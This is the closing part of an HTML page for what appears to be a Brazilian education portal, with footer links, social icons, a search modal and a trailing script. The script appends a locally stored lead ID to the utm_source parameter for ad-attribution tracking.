                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">PROGRAMAS EDUCACIONAIS</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Programas Educacionais">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="/acesso-informacao" class="text-sm hover:text-gray-300">ACESSO À INFORMAÇÃO</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Acesso à Informação">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">PORTAL DO PROFESSOR</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Portal do Professor">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">CANAIS DE ATENDIMENTO</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Canais de Atendimento">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">POLÍTICAS EDUCACIONAIS</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Políticas Educacionais">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600"></li>
                </ul>
            </nav>

            <!-- Cookie Settings -->
            <div class="mt-6 flex items-center">
                <button id="cookie-settings" class="flex items-center hover:text-gray-300" aria-label="Redefinir configurações de cookies">
                    <i class="fas fa-cookie-bite text-lg mr-2"></i>
                    <span class="text-sm">Redefinir Cookies</span>
                </button>
            </div>

            <!-- Social Networks -->
            <div class="redes-e-logos mt-8">
                <div class="redes-sociais">
                    <div class="titulo text-sm font-bold mb-4">Redes sociais</div>
                    <ul class="portal-redes">
                        <li class="portalredes-youtube portalredes-item">
                            <a href="#" aria-label="YouTube" class="social-link">
                                <i class="fab fa-youtube social-icon"></i>
                            </a>
                        </li>
                        <li class="portalredes-facebook portalredes-item">
                            <a href="#" aria-label="Facebook" class="social-link">
                                <i class="fab fa-facebook-f social-icon"></i>
                            </a>
                        </li>
                        <li class="portalredes-twitter portalredes-item">
                            <a href="#" aria-label="Twitter" class="social-link">
                                <i class="fab fa-twitter social-icon"></i>
                            </a>
                        </li>
                        <li class="portalredes-instagram portalredes-item">
                            <a href="#" aria-label="Instagram" class="social-link">
                                <i class="fab fa-instagram social-icon"></i>
                            </a>
                        </li>
                    </ul>
                </div>
            </div>
        </div>
    </footer>

    <!-- Search Modal -->
    <div id="search-modal" class="search-modal hidden">
        <div class="search-modal-content">
            <div class="search-modal-header">
                <h3>Pesquisar</h3>
                <button id="close-search-modal" aria-label="Fechar pesquisa">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div class="search-modal-body">
                <form id="search-form">
                    <input type="text" id="search-input" placeholder="Digite sua pesquisa..." aria-label="Campo de pesquisa">
                    <button type="submit" aria-label="Pesquisar">
                        <i class="fas fa-search"></i>
                    </button>
                </form>
            </div>
        </div>
    </div>

    

</body></html>

<script>
(function () {
  const POLL_MS = 500;

  function getStorageKey() {
    const url = new URL(window.location.href);
    const current = url.searchParams.get("utm_source");
    if (current === "FB") return "lead";
    if (current === "google") return "lead-google";
    return null;
  }

  function getLeadId(storageKey) {
    if (!storageKey) return null;
    const raw = localStorage.getItem(storageKey);
    if (!raw) return null;
    try {
      const obj = JSON.parse(raw);
      return obj && obj._id ? String(obj._id) : null;
    } catch {
      return null;
    }
  }

  function applyUtmIfNeeded() {
    const url = new URL(window.location.href);
    const current = url.searchParams.get("utm_source");
    const storageKey = getStorageKey();
    const id = getLeadId(storageKey);
    if (!id) return false;

    let desired = null;
    if (current === "FB") {
      desired = "FBjLj" + id;
    } else if (current === "google") {
      desired = "googlejLj" + id;
    }

    if (!desired) return false; 

    url.searchParams.set("utm_source", desired);
    window.location.replace(url.toString());
    return true;
  }

  if (applyUtmIfNeeded()) return;

  const interval = setInterval(() => {
    if (applyUtmIfNeeded()) clearInterval(interval);
  }, POLL_MS);
})();
</script>
